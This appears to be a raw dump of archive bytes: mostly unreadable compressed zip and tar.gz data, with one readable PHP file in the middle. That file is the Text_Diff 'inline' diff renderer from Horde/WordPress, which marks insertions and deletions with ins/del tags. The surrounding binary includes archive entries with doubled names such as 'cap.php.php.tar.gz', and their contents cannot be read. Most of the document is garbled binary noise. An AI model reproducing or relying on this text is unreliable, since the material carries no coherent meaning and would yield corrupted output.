v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) < PK     |\'ݣ    
  inline.phpnu [        <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK     |\ \      Renderer.tarnu [        inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
